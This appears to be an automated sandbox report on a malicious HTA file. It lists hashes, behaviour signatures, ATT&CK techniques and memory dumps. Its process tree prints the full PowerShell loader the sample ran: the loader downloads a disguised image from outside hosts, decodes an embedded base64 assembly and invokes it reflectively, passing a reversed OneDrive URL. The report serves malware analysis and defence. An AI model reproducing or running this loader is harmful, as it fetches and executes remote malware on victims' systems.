7c3b13a63f8a2eae92a6880338fa239fcdbc1e5bfc0ebd8386229322876be63c

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
14/02/2024, 01:00

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General

Target

5f86822a5a049aaa09d6f11ad557f4c2ae8ce57b37daa6b00658fff4ee1ce090.hta
Size

9KB
MD5

0766fff13fcd69232a01442507c7faaf
SHA1

e559fef859f0da7dbb27ee0ee81b68f759b8772a
SHA256

5f86822a5a049aaa09d6f11ad557f4c2ae8ce57b37daa6b00658fff4ee1ce090
SHA512

ae8bc05b1233b8495f18a3f11ebbd2a5e2ad8345b3eed593ef4885a76eff74fa5f9a11f150b087dfea1fba9a29d0ae8ac8107d7da5de7e5abdf848a1c8b68988
SSDEEP

192:sv0r6VP2SMNXVBVLkC6YWILLDFDNk6cl26nWc8t9embQV:sv0rwQvDwhMDxNkmV9embm

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2720	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2876 wrote to memory of 2720	2876	mshta.exe	28
PID 2876 wrote to memory of 2720	2876	mshta.exe	28
PID 2876 wrote to memory of 2720	2876	mshta.exe	28
PID 2876 wrote to memory of 2720	2876	mshta.exe	28

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\5f86822a5a049aaa09d6f11ad557f4c2ae8ce57b37daa6b00658fff4ee1ce090.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/731/999/original/new_image.jpg?1707144651', 'http://45.74.19.84/xampp/bkp/bkp_hta.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('w5x8fgEv-w5YOBA!=yekhtua&99212%420139D0B4D360A9=diser?daolnwod/moc.evil.evirdeno//:sptth' , 'desativado' , 'C:\ProgramData\' , 'Name'))}}
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2720-11-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2720-12-0x0000000074CE0000-0x000000007528B000-memory.dmp

Filesize
5.7MB

Download
memory/2720-17-0x0000000074CE0000-0x000000007528B000-memory.dmp

Filesize
5.7MB

Download
memory/2720-15-0x00000000050D0000-0x000000000515D000-memory.dmp

Filesize
564KB

Download
memory/2720-7-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2720-6-0x0000000074CE0000-0x000000007528B000-memory.dmp

Filesize
5.7MB

Download
memory/2720-14-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2720-10-0x0000000074CE0000-0x000000007528B000-memory.dmp

Filesize
5.7MB

Download
memory/2720-8-0x0000000074CE0000-0x000000007528B000-memory.dmp

Filesize
5.7MB

Download
memory/2720-13-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2720-9-0x0000000002600000-0x0000000002640000-memory.dmp

Filesize
256KB

Download
memory/2876-0-0x0000000073740000-0x0000000073CEB000-memory.dmp

Filesize
5.7MB

Download
memory/2876-1-0x0000000073740000-0x0000000073CEB000-memory.dmp

Filesize
5.7MB

Download
memory/2876-3-0x0000000073740000-0x0000000073CEB000-memory.dmp

Filesize
5.7MB

Download
memory/2876-2-0x0000000003050000-0x0000000003090000-memory.dmp

Filesize
256KB

Download